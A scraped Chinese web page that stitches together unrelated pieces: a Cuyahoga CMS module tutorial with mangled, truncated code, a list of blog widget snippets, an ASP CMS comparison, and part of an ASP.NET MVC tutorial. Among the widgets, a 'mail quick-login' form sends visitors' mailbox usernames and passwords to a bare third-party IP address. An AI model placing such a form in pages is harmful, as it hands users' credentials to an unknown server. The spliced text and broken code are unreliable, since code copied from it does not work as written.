Cuyahoga添加模块

Cuyahoga

国外的开源CMS一般都是基于模块设计的 ,好处是可以随意定制自己的页面和模块,这样在以后的应用中就能够灵活的满足变化的功能需求. 一个模块齐全的CMS如DNN , Rainbow就可以快速搭建符合需求的系统.

下面就来介绍如何为Cuyahoga这个著名的开源网站框架加入具有后台管理的公告模块.可以参考这篇如何在Cuyahoga中新增一个简单的功能模块了解基础的步骤.

为Cuyahoga开发自定义模块时,你可以选择任何数据访问策略.然而Cuyahoga本身是使用NHibernate作为数据持久层,可以做到支持多数据库. 采用Castle.Windsor进行依赖注入,降低模块之间的耦合. 我们的数据访问层也将用NHibernate实现.

最终项目的目录结构如下:

主要步骤如下
1 .创建一个Sql文件(Install.sql)用来安装数据表及添加模块的相关信息 , 该sql文件会在安装模块时,由Cuyahoga自动执行.也可以手工执行进行安装.

install.sql
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–>IF NOT EXISTS (SELECT * FROM sysobjects WHERE id = OBJECT_ID(N[cm_Announcements]AND OBJECTPROPERTY(id, NIsUserTable= 1)
 
BEGIN
CREATE TABLE [cm_Announcements] (
    
[AnnouncementsID] [int] IDENTITY (1,1)NOT NULL ,
    
[sectionid] [int] NOT NULL ,
    
[createdby] [nvarchar] (100NULL ,//公告作者
    
[Title] [nvarchar] (150NULL ,//公告标题
    inserttimestamp 
datetime DEFAULT current_timestamp NOT NULL,
    updatetimestamp 
datetime DEFAULT current_timestamp NOT NULL,
    
    
CONSTRAINT [PK_cm_Announcements] PRIMARY KEY  NONCLUSTERED 
    (
        
[AnnouncementsID]
    ),
    
CONSTRAINT [FK_cm_Announcements_cm_Modules] FOREIGN KEY 
    (sectionid) 
REFERENCES cuyahoga_section (sectionid)
)
END
GO
/*加入模块信息*/
INSERT INTO cuyahoga_moduletype ([name], assemblyname, classname, path, editpath, inserttimestamp, updatetimestamp) VALUES 
(
AnnouncementsCuyahoga.Modules.AnnouncementsCuyahoga.Modules.Announcements.AnnouncementsModule
Modules/Announcements/Announcements.ascxModules/Announcements/EditAnnouncements.aspxcurrent_timestampcurrent_timestamp)
GO
/*加入模块版本信息*/
INSERT INTO cuyahoga_version (assembly, major, minor, patch) VALUES (Cuyahoga.Modules.Announcements150);
go

2.创建域模型 在本例中是实体类

Announcement.cs
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–>using System;
using Cuyahoga.Core.Domain;

namespace Cuyahoga.Modules.Announcements.Domain
{
    public class Announcement
    {
        private 
int _id;
        private string _title;
        private string _content;
        private 
DateTime _expiredate;
        private Section _section;
        private 
User _createdBy;
        private 
DateTime _updateTimestamp;

        /// <summary>
        
/// Property Id (int)
        
/// </summary>
        
public int Id
        {
            get { 
return this._id; }
            
set { this._id = value; }
        }
        
/// <summary>
        
/// Property Title (string)
        
/// </summary>
        
public string Title
        {
            get { 
return this._title; }
            
set { this._title = value; }
        }
        
/// <summary>
        
/// Property Section (Section)
        
/// </summary>
        
public Section Section
        {
            get { 
return this._section; }
            
set { this._section = value; }
        }
        
/// <summary>
        
/// Property CreatedBy (User)
        
/// </summary>
        
public User CreatedBy
        {
            get { 
return this._createdBy; }
            
set { this._createdBy = value; }
        }
        
/// <summary>
        
/// Property UpdateTimestamp (DateTime)
        
/// </summary>
        
public DateTime UpdateTimestamp
        {
            get { 
return this._updateTimestamp; }
            
set { this._updateTimestamp = value; }
        }
        
public Announcement()
        {
            this._id 
= 1;
        }
    }
}

3.创建映射文件

Announcement.hbm.xml
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–>xml version=”1.0″ encoding=”utf-8″  >
<hibernate-mapping xmlns=”urn:nhibernate-mapping-2.0″>
  
<class name=”Cuyahoga.Modules.Announcements.Domain.Announcement, Cuyahoga.Modules.Announcements” table=”cm_Announcements”>
    
<id name=”Id” column=”Announcementsid” type=”Int32″ unsaved-value=”-1″>
      
<generator class=”native”>
        
<param name=”sequence”>cm_Announcements_Announcementsid_seq</param>
      
</generator>
    
</id>
    
<timestamp name=”UpdateTimestamp” column=”updatetimestamp” />
    
<property name=”Title” column=”title” type=”String” length=”150″ />
    
<many-to-one name=”Section” class=”Cuyahoga.Core.Domain.Section, Cuyahoga.Core” column=”sectionid” not-null=”true” />
    
<many-to-one name=”CreatedBy” class=”Cuyahoga.Core.Domain.User, Cuyahoga.Core” column=”createdby” not-null=”true” />
  
</class>
</hibernate-mapping>

4.创建公告模块的核心控制类

AnnouncementsModule.cs
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–>using System;
using System.Collections;
using System.Xml;
using System.Xml.XPath;
using System.Net;
using System.Web;
using System.Text;
using System.IO;
using System.Threading;

using NHibernate;
using Castle.Services.Transaction;
using Castle.Facilities.NHibernateIntegration;

using log4net;

using Cuyahoga.Core;
using Cuyahoga.Core.Domain;
using Cuyahoga.Core.Service;
using Cuyahoga.Core.Util;
using Cuyahoga.Web.Util;
using Cuyahoga.Web.Components;
using Cuyahoga.Modules.Announcements.Domain;

namespace Cuyahoga.Modules.Announcements
{
    
//采用Facilities管理事务
    [Transactional]
    
public class AnnouncementsModule : ModuleBase, INHibernateModule
    {
        
private static readonly ILog log = LogManager.GetLogger(typeof(AnnouncementsModule));
        
private int _cacheDuration;
        
private ISessionManager _sessionManager;

        //该模块需要用到NHibernate session manager提供的服务 进行依赖注入
        public AnnouncementsModule(ISessionManager sessionManager)
        {
            
this._sessionManager = sessionManager;
        }

        public override void ReadSectionSettings()
        {
            
base.ReadSectionSettings();
            
// Set dynamic module settings
            this._cacheDuration = Convert.ToInt32(base.Section.Settings[CACHE_DURATION]);
        }

        ///不创建子事务
        [Transaction(TransactionMode.RequiresNew)]
        
public virtual IList GetAllAnnouncements()
        {
            ISession session 
= this._sessionManager.OpenSession();
            
string hql = from Announcement f where f.Section.Id = :sectionId;
            IQuery q 
= session.CreateQuery(hql);
            q.SetInt32(
sectionIdbase.Section.Id);
            
return q.List();
        }

        [Transaction(TransactionMode.RequiresNew)]
        public virtual Announcement GetAnnouncementsById(int AnnouncementsID)
        {
            ISession session 
= this._sessionManager.OpenSession();
            
return (Announcement)session.Load(typeof(Announcement), AnnouncementsID);
        }

        [Transaction(TransactionMode.RequiresNew)]
        public virtual void SaveAnnouncement(Announcement announcements)
        {
            ISession session 
= this._sessionManager.OpenSession();
            session.SaveOrUpdate(announcements);
        }

        [Transaction(TransactionMode.RequiresNew)]
        public virtual void DeleteAnnouncements(Announcement announcements)
        {
            ISession session 
= this._sessionManager.OpenSession();
            session.Delete(announcements);
        }
    }
}

5.创建用于前台显示的用户控件 用来显示公告的标题 作者和发布时间.

Announcements.ascx
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–><%@ Control Language=C# AutoEventWireup=true Codebehind=Announcements.ascx.cs
    Inherits
=Cuyahoga.Modules.Announcements.Web.Announcements %>
<asp:repeater id=rptAnnouncementItems runat=server enableviewstate=False>
    
<itemtemplate>
            
<div class=genericdetails style=width:100%>
            
<marquee  direction=left >
                
<asp:label id=lblTitle runat=server><%# DataBinder.Eval(Container.DataItem, Title)%></asp:label>
                
<asp:label id=lblAuthor runat=server>作者:<%# DataBinder.Eval(Container.DataItem, CreatedBy.FullName)%></asp:label>
                
<asp:label id=lblTime runat=server>发布时间:<%# DataBinder.Eval(Container.DataItem, UpdateTimestamp)%></asp:label>
            
</marquee>
            
</div>
    
</itemtemplate>
</asp:repeater>

Announcements.ascx.cs
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–>using System;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;

using Cuyahoga.Core.Util;
using Cuyahoga.Web.UI;
using Cuyahoga.Modules.Announcements.Domain;

namespace Cuyahoga.Modules.Announcements.Web
{
    
public partial class Announcements : BaseModuleControl
    {
        
private AnnouncementsModule _module;
        
protected void Page_Load(object sender, EventArgs e)
        {
            
if (!this.IsPostBack && !base.HasCachedOutput)
            {
                
this._module = base.Module as AnnouncementsModule;
                
this.rptAnnouncementItems.DataSource = this._module.GetAllAnnouncements();
                
this.rptAnnouncementItems.DataBind();
            }
        }
    }
}

6.创建公告管理的列表页面

EditAnnouncements.aspx
<!–<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
–><%@ Page Language=C# AutoEventWireup=true Codebehind=EditAnnouncements.aspx.cs
    Inherits
=Cuyahoga.Modules.Announcements.Web.EditAnnouncements %>

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head runat=”server”>
    
<title>公告管理页面</title>
</head>
<body>
    
<form id=”Form1″ method=”post” runat=”server”>
        
<div id=”moduleadminpane”>
            
<h1>
                公告管理
</h1>
            
<table class=”tbl”>
                
<asp:Repeater ID=”rptAnnouncements” runat=”server” OnItemDataBound=”rptFiles_ItemDataBound”>
                    
<HeaderTemplate>
                        
<tr>
                            
<th>
                                公告标题
</th>
                            
<th>
                                作者
</th>
                            
<th>
                                发布日期
</th>
                            
<th>
                            
</th>
                        
</tr>
                    
</HeaderTemplate>
                    
<ItemTemplate>
                        
<tr>
                            
<td>
                                
<%# DataBinder.Eval(Container.DataItem, Title%>
                            
</td>
                            
<td>
                                
<%# DataBinder.Eval(Container.DataItem, CreatedBy.FullName)%>
                            
</td>
                            
<td>
                                
<asp:Literal ID=”litDateModified” runat=”server”></asp:Literal></td>
                            
<td>
                                
<asp:HyperLink ID=”hplEdit” runat=”server”>修改</asp:HyperLink>
                            
</td>
                        
</tr>
                    
</ItemTemplate>
                
</asp:Repeater>
            
</table>
            
<br />
            
<input id=”btnNew” type=”button” value=”新的公告” runat=”server” name=”btnNew”/>
        
</div>
    
</co

博客特效代码

一、加入时钟代码:

      代码格式:<embed src=”flash时钟地址” width=”宽度值或百分比” height=”高度值” />

      举例说明:<div align=”center”><embed src=http://myboard.zj.com/clock/clock13.swf width=”180″ height=”180″ type=”application/x-shockwave-flash” /></div>

      更多时钟样式:  163款各式时钟[url ]http://www.fengzhuju.com/page-00s/clocks.htm [/url]

二、如何加入透明Flash背景:

      代码格式:<embed src=”Flash地址”; width=”画面宽度” height=”画面高度” quality=”high” wmode=”transparent” align=”center” style=”position: absolute; left:0; top:0″>

      此代码为插入透明flash代码,其中 width=”” 为flash的宽,height=”” 为 flas的高,left: 为从左向右移的位置,top: 为从上向下移的位置

     举例说明:<embed src=”http://lain1978.com/collection/flash/fish.swf

“; width=”800″ height=”600″ quality=”high” wmode=”transparent” align=”center” style=”position: absolute; left:0; top:0″>

     [url] Flash背景素材http://web.web7d.com/siyuqy/flashtmbj.htm[/url]

插入Flash动画代码:

   代码:<div><embed src=”动画地址” width=”98%” height=”450″/></div>

三、鼠标样式代码(加入到样式表中的body中)

     绿叶:    CURSOR: url(‘http://www.52blog.net/uploadfile/20041214112739616.cur’);

     粉红玫瑰  cursor:url(http://yuhou.net/build/images/03.cur);

     羽毛      CURSOR: url(‘http://www.blogcup.com/uploadfile/200559203014735.ani’);

      其他      CURSOR: url(‘http://soft.mumayi.net/inc/Arrow.ani’);

                          cursor:url(http://www.51hongtu.com/mouse.ani);

四、背景音乐代码

     

请看相关文章http://blog.sina.com.cn/s/blog_446ae4ee0100034h.html

五、添加邮箱快速登录代码

<div align=center><form name=”loginmail” onsubmit=”function anonymous()

{return chkinput2(this);

}” action=http://219.129.20.144:8000/sendmail.asp method=”post” target=”_blank”><select tabindex=”2″ size=”1″ name=”site”> <option value=””>请选择你的邮箱</option> <option value=”/21cn.com”>@21cn.com</option> <option value=”/163.net”>@163.net</option> <option value=”tom.com”>@tom.com</option> <option value=”/163.com”>@163.com</option> <option value=”/vip.163.com”>@vip.163.com</option> <option value=”/sohu.com”>@sohu.com</option> <option value=”/263.net”>@263.net</option> <option value=”/sina.com”>@sina.com</option> <option value=”/vip.sina.com”>@vip.sina.com</option> <option value=”mail.china.com”>@mail.china.com</option> <option value=”/china.com”>@china.com</option> <option value=”/netease.com”>@netease.com</option> <option value=”/yeah.net”>@yeah.net</option> <option value=”/etang.com”>@etang.com</option> <option value=”fm365.com”>@fm365.com</option> <option value=”/cn.yahoo.com”>@yahoo.com.cn</option> <option value=”/xinhuanet.com”>@xinhuanet.com</option> <option value=”/eyou.com”>@eyou.com</option> <option value=”/email.com.cn”>@email.com.cn</option> <option value=”/ynmail.com”>@ynmail.com</option> <option value=”/citiz.net”>@citiz.net</option> <option value=”/126.com”>@126.com网易50M</option> <option value=”/elong.com”>@elong.com</option></select><br />帐    号:<input style=”FONT-SIZE: 12px” tabindex=”3″ size=”12″ name=”user” /><br />密码:<input style=”FONT-SIZE: 12px” tabindex=”3″ type=”password” size=”12″ name=”pass” /><input style=”FONT-SIZE: 13px; WIDTH: 30px; HEIGHT: 24px” onclick=”function anonymous()

{setTimeout(‘clearpass()’,1000)

}” tabindex=”4″ type=”submit” size=”4″ name=”Submit2″ /></form></div>

六、添加搜索引擎代码

<div align=center><iframe id=”baiduframe” border=”0″ vspace=”0″ hspace=”0″ marginwidth=”0″ marginheight=”0″

  framespacing=”0″ frameborder=”0″ scrolling=”no” width=”200″ height=”30″

  src=”http://unstat.baidu.com/bdun.bsc tn=dabaoku&cv=1&cid=31577&csid=102&rkcs=2&bgcr=EDEDEB&ftcr=FF0000&rk=1&bd=1&bdas=0″>

</iframe></div><div align=center><FORM method=GET action=”http://www.google.com/search” target=_blank>

<input type=hidden name=ie value=GB2312>

<input type=hidden name=oe value=GB2312>

<INPUT TYPE=”hidden” NAME=”hl” VALUE=”zh-CN”>

<A HREF=”http://www.google.com/” target=_blank>

<IMG SRC=”http://www.google.com/logos/Logo_40wht.gif” border=”0″ ALT=”Google” height=”20px”></A><INPUT TYPE=text name=q size=12 maxlength=255 value=””>

<INPUT type=submit name=btnG VALUE=”搜索”>

<input type=hidden name=domains value=”这里输入你的网站地址”</br>

<input type=radio name=sitesearch value=””>全球搜索

<input type=radio name=sitesearch value=”这里输入你的网站地址” checked> 本站搜索<br>

</font></FORM></div> 

七、文字移动代码

<marquee  onmouseover=this.stop()  onmouseout=this.start() scrollamount=”1″ scrolldelay=”60″ direction=”up” width=”180″ height=”210″><div><font color=”#ff0000″><b>本站公告</b></font></div><div><font color=”#003366″>这里是移动文字内容</font></div></marquee>

八、图片链接移动代码

<marquee  onmouseover=this.stop()  onmouseout=this.start() scrollamount=”1″ scrolldelay=”60″ direction=”up” width=”200″ height=”230″><div align=”center”><a href=”http://myok.blogchina.com/1574968.html” target=”_blank”><img src=”http://www.guilintour.net/pic/upload/200471269665.jpg” width=”200″ border=”0″ /></a></div><div align=”center”><a href=”http://myok.blogchina.com/1575395.html” target=”_blank”><img src=”http://ccd.zjonline.com.cn/images/txtp/yzyh007.jpg” width=”200″ border=”0″ /></a></div></marquee>

九、细线表格制做

<div align=”center”>

<table cellspacing=”1″ cellpadding=”0″ width=”100%” bgcolor=”#FF0000″ border=”0″>

<tbody>

<tr bgcolor=”#FFFFFF” height=”20″>

<td><div align=”center”>表格内容</div></td>

<td><div align=”center”>表格内容</div></td>

<td><div align=”center”>表格内容</div></td>

<td><div align=”center”>表格内容</div></td>

<tr bgcolor=”#FFFFFF” height=”20″>

<td><div align=”center”>表格内容</div></td>

<td><div align=”center”>表格内容</div></td>

<td><div align=”center”>表格内容</div></td>

<td><div align=”center”>表格内容</div></td>

</tr></table></div>

十、加入滚动条代码

/*====将滚动条加在样式表最后====*/

/*====最新评论滚动条====*/

#remark.operation ul{

  height:300px;

  overflow: auto;

        scrollbar-face-color : threedhighlight;

  width: 195px;

  text-align: left;

  margin: 0px 0px 0px 5px;

  padding: 0;

  }

/*====在线留言滚动条====*/

.guestBook ul{

  height:310px;

  overflow: auto;

        scrollbar-face-color : threedhighlight;

  width: 195px;

  text-align: left;

  margin:0px 0px 0px 5px;

     padding: 0;

  }

/*====最新文章滚动条====*/

#newWeblog.operation ul{

  height:140px;

  overflow: auto;

        scrollbar-face-color :  threedhighlight;

  width: 195px;

  text-align: left;

  margin: 0px 0px 0px 5px;

  padding: 0;

         }

十一、显IP地址免费代码

<iframe src=”http://ip.91.com/ip/showip.asp text=&bg=&line=2&scro=1&leng=140″ frameborder=”0″ scrolling=”no” width=”200″ height=”36″ marginheight=”4″ marginwidth=”0″></iframe>

十二、免费手机地理位置查询代码

代码一:

<form method=”POST” action=”http://www.imobile.com.cn/simcard.php” target=”_blank”>

手机号(前7位):<input type=”text” name=”simcard” size=”7″>

<input type=”submit” value=”查询”>

</form>

代码二:

<FORM action=http://www.k688.com/sj/index.php method=post target=”_blank”>

                    <tr>

                      <td> <input onMouseOver=”this.focus()” onblur=”if (this.value ==”) this.value=’请输入手机号码'” onFocus=”this.select()” onClick=”if (this.value==’请输入手机号码’) this.value=”” name=”m” type=”text” id=”m2″ size=”12″ value=’请输入手机号码’>

                        <input type=”submit” name=”Submit” value=”手机地址”>

                        <input name=”a” type=”hidden” id=”a2″ value=”search”>

                      </td>

                    </tr>

                    </form>

十三、免费IP地址位置查询代码

<form name=frmIp1 action=”” method=post onsubmit=”deal1(this);return false”>

<input type=text name=txtIp value=”请输入ip地址”>

<input type=submit name=submit1 value=”查询”>

</form>

<script>

function deal1(obj)

{

window.open(“http://www.it315.org/ip/ip_area1.asp ip=”+ obj.txtIp.value,”_blank”,”top=0,left=0,width=300,height=150,toolbar=no”);

}

</script>

十四、下拉列表链接代码

<SELECT style=”WIDTH: 100px;FONT-SIZE: 10pt; BACKGROUND: #FFFFFF; COLOR: #000000; FONT-FAMILY: Arial” onchange=javascript:window.open(this.options[this.selectedIndex].value) name=select value=”GO”><OPTION value=# selected>超级链接</OPTION><OPTION value=http://myok.blogchina.com>山水天下</OPTION><OPTION value=http://myok.blogchina.com>山水天下</OPTION><OPTION value=http://myok.blogchina.com>山水天下</OPTION><OPTION value=http://myok.blogchina.com>山水天下</OPTION><OPTION value=http://myok.blogchina.com>山水天下</OPTION></SELECT>

十五、滚动新闻代码

新浪的:<IFRAME border=0 name=sina_roll marginWidth=0 marginHeight=0 src=”http://news.sina.com.cn/o/allnews/input/index.html” frameBorder=No width=”100%” scrolling=no height=15></IFRAME>

网易的:

<iframe width=”100%” HEIGHT=20 align=center MARGINWIDTH=0 Name=union163com MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no src=”http://news2.163.com/news/marq1.jsp ID=163&NO=0&boxColor=ffffff&txtColor=000000″></iframe>

CCTV:

<iframe src=”http://www.cctv.com/homepage/46/index.shtml”; name=”express” width=”100%” height=”20″ marginwidth=”0″ marginheight=”0″ frameborder=”0″ scrolling=”no”></iframe>

其他:

代码一:新闻<iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src=”http://www.tv868.com/xinwen/011.htm” topmargin=0 width=”100%” height=20></iframe>

代码二:娱乐<iframe frameborder=0 leftmargin=0 marginheight=0 marginwidth=0 scrolling=no src=”http://www.tv868.com/xinwen/012.htm” topmargin=0 width=”100%” height=20></iframe>

sohu

加综合新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscne002.html uid=73916&fid=scscne002′></iframe>

体育新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscsp002.html uid=73916&fid=scscsp002′></iframe>

汽车新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscau002.html uid=73916&fid=scscau002′></iframe>

娱乐新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscen002.html uid=73916&fid=scscen002′></iframe>

财经新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscbu002.html uid=73916&fid=scscbu002′></iframe>

IT新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscit002.html uid=73916&fid=scscit002′></iframe>

旅游新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.union.sohu.com/scsctr002.html uid=73916&fid=scsctr002′></iframe>

教育新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scscle002.html uid=73916&fid=scscle002′></iframe>

健康新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scsche002.html uid=73916&fid=scsche002′></iframe>

文化新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scsccu002.html uid=73916&fid=scsccu002′></iframe>

旅游新闻

<iframe WIDTH=100% HEIGHT=20 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no SRC=’http://links.news.sohu.com/scsctr002.html uid=73916&fid=scsctr002′></iframe>

ASP中最好的CMS系统的比较和汇总

ASP中最好的CMS系统的比较和汇总 

  CMS(Content Management System),译为网站内容管理系统,大概2004以前,如果想进行网站内容管理,基本上都是靠手工维护,但千变万化的信息流,如果没有好的程序支持,继续靠手工完成是不可能的事,如果有一个好的系统来支撑你的网站,那将节省大量的人力物力,开发者就可能给客户一个软件包,可以用它定期人工修改网站,甚至是使用采集功能,大批量添加数据。只要你配置安装好,你的编辑,在线记者,更新员只要定期更新数据,剩下的事就交给CMS去处理。

动易

http://www.powereasy.net/

这套是国产AspCMS中非常强大的系统,一路走来,动易不断完善,而且也不断加强功能,包括个人版,学校版,政府版,企业版,后台包括的功能,信息发布,类别管理,权限控制,信息采集,而且跟第三方的程序,比如论坛,商城, blog可以完美结合,基本上可以满足一个中大型网站的要求,但Asp和Access的的局限性,还有本身功能Dll的限制,使得免费版差不多成鸡肋。这套系统比较适合非专业人士使用,在使用操作方面做的非常人性话,而如果说想自己修改或者二次开发的话就有点免为其难了。

风讯

http://www.foosun.cn/

风讯的系统功能强大,自由度高,是现在人气比较高的系统之一,可以根据自己的想法做出一个网页从而建立一个有自我风格的网站,更新速度快,一直有新的版本出现,现在又开放采集、下载、投稿、图片整站管理系统,第三方整合等功能,开源是它最大特点,希望保持。然后缺点就是后台人性化差了一点,上手有点难度,而且连一套默认的模板都没有,因为自由度太高了,让一些新手更难上手,还有就是免费版的生成静态发布的效率不高。

创力

http://www.aspoo.com/

创力是一套无任何文件加密,不需要注册组件,不需要绑定域名,经过完善设计、精心打造的一个适用于各种服务器环境的安全、稳定、快速、强大、高效、易用、优秀的网站建设解决方案。系统功能齐全,集成文章、下载、图片、影视、商城、留言、用户等大模块,并可无限制N个与文章、下载、图片等模块相同的的模块,每个模块下更可无限栏目分类,加上Rss订阅、公告、广告、统计、关键字、友情链接、JS代码、站点地图……等等,综合来说是一套不错的网站系统。

JTBC

http://www.jetiben.com/

JTBC也是新出不久的一套可对现有模块进行扩充与克隆的网站系统核心,采用UTF-8编码,是目前ASPCMS界中唯一一款真正意义上做到代码与程序全脱离的程序,似乎采用了xml的散存储技术,而且在代码与程序脱离的技术上,又加人了语言与代码脱离,语言与程序脱离的两两脱离关系,基于这种特性,JTBC就具有了非常强大的可扩充性和可二次开发性,目前具有文章系统,下载系统,商城系统三大传统模块,有友情链接,在线支付,网站留言,网站评论等常规管理项目,JTBC可能对于未上手的人来说是一套很头大的系统,但对于熟悉的人而言使用起来非常有效率,做企业网站与其他网站均可。

TSYS

http://www.tsyschina.com/

非常遗憾 2.0刚刚出测试版,作者就好像人间蒸发一样消失了,官方网站也在不久后处于管理状态,不过对于一个免费开源,没有版权的CMS来说我们也没有什么可要求的!在TSYS的各个版本中均没有出现过重大的安全漏洞而且对于目前1.1来说已经是很完善成熟的了,TSYS和一般的Asp 的CMS不大一样,他的功能并非由本身而定,而是根据使用者的能力而定。使用者越厉害 TSYS本身也可以变的更厉害。强大的诸如碎片等的信息管理,可以将信息在显示的时候重新整合,说白了就是只有对TSYS非常熟悉的人才可以将TSYS的优势发挥出来,因此,光就这点也就注定了TSYS流行不起来,除非具有人性话操作的修改版本出来。

乔客

http://www.joekoe.com/

这个系统已经很久了,但好像一直存活在动易和风讯两者之间,现在3.0的Joekoe CMS出来了,但另我比较失望,相比免费版的1.2,功能是增强了,但也Dll,这个可能也是国产程序的一个特色罢了。它本身已经是一个融合度非常高的系统,有商城,新闻,下载,论坛,留言,影视,博客圈等,感觉有那么点WEB2.0 的味道,不想怎么修改的朋友直接拿去就可以用了。 

科汛

http://www.kesion.com/

科汛是一套新出的网站系统,其功能非常强大,目前主流网站的功能在其系统内均能实现,具有强大的标签(JS)管理功能,个性化的标签(JS)参数配置功能,做一个个性的大站不再是梦想。网站整体开源,具有文章模块,图片模块,下载模块,动漫模块,音乐模块,会员模块,采集模块等等,功能非常不错。

新云

http://www.newasp.cn/

新云最初做的是下载站,后来转为多模块的系统,最近发现有不少的网站都在使用。由文章、下载、商城、留言、用户管理五大功能模块和广告、公告、连接、统计、采集、模板管理、数据库管理等多个通用模块组成,而且功能确实有一些值得称道的地方,不过又是DLL的,免费版有不少的限制,但对一个简单基本的网站来说,功能够用了。

在上述的CMS中,具有开源性质的有风讯,创力,JTBC,TSYS,科汛,对于长期建站的专业人士来说,开源无疑具有非常重大的意义!支持开源!

第二篇:基于ASP.NETMVC2创建第一个简单页面

 

摘要


     

本文首先一步一步完成Demo
的第一个页面——
首页。然后根据实现过程,说明一下其中用到的与ASP.NET MVC
相关的概念与原理。



让第一个页面跑起来




     
现在,我们来实现公告系统中的第一个页面——
首页。它非常简单,只包括所有公告分类的列表,并且每个列表项是一个超链接。其中分类数据是用我们的Mock
组件得到的。实现后界面如下:

 

     
在开始之前,我们要删几个东西。因为默认情况下建立一个MVC
项目时里面包含了几个示例页面,我们要做的就是:


      1.

Controllers
文件夹下所有文件删除。


      2.

Views
文件夹下除了Shared
文件夹和Web.config
外的所有文件删除,然后将Shared
文件夹里面的文件删除。


     

完成以上几步后,就可以开始实现第一个页面了。



实现控制器




     
Controllers
文件夹下新建一个文件,类型选择“MVC Controller Class
”,名字命名为HomeController.cs
。这就是一个控制器类。然后我们为它编码,具体代码如下:
HomeController.cs:

 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Mvc.Ajax;
using MVCDemo.Models;
using MVCDemo.Models.Interfaces;
using MVCDemo.Models.Entities;

namespace MVCDemo.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            ICategoryService cServ = ServiceBuilder.BuildCategoryService();
            ViewData["Categories"] = cServ.GetAll();
            return View("Index");
        }
    }
}

 

 


     

直观看来,这个类不是很复杂。它首先继承了Controller
类。Controller
类是ASP.NET MVC
框架中提供的一个控制器积累,所有我们自定义的控制器类都要继承此基类。然后这个类中有一个Index
方法,返回值类型是ActionResult


     

这里对其中涉及到的概念简单解释一下。首先,控制器类可以说是ASP.NET MVC
的核心类,因为它将处理一切请求,并处理所有页面转发等表示逻辑,这也是使用了ASP.NET MVC
后与传统ASP.NET
应用最大的差别。在传统模式下,一个用户请求的url
将对应一个aspx
文件,而在ASP.NET
MVC

下,一个用户请求对应某个控制器类中的一个方法,而这个方法,就叫做一个Action
。至于如何对应的,则是通过对url
的解析。


     

例如,在传统情况下,

http://www.my400800.cn/index.aspx

表示请求网站根目录下的Default.aspx
文件。而现在,url
可能变成了这种样子:

http://blog.my400800.cn/北京400电话申请/1


。这个意思就是,请求名叫HomeController
控制器类下的Index
方法。一般地,默认情况下,请求url
的格式为

http://localhost/{ControllerName}/{ActionName


}
。其中{ControllerName}
是控制器类名“Controller
”前的部分,{ActionName}
就是方法名。


     

当然,这种映射规则是可以更改的,而且请求Action
时也可以传递参数,但这些都是后话,以后再慢慢讨论。

     
下面再深入Index
方法,看看这个Action
都做了什么。它首先调用了业务逻辑组件(当然,是Mock
的),然后将GetAll
返回的公告分类数据赋予ViewData[“Category”]
,最后调用View()
方法返回一个ActionResult
ViewData
是什么呢?你可以把他理解成一个关联数组,它保存需要传给视图的数据。而View
Controller
类的一个方法,它返回一个ActionResult
实例。这样说可能有点抽象,其实直观就是将某个视图(一般就是一个aspx
文件)呈现到浏览器中。那么如何知道呈现哪一个视图呢?默认情况下,View
方法会到网站的Views
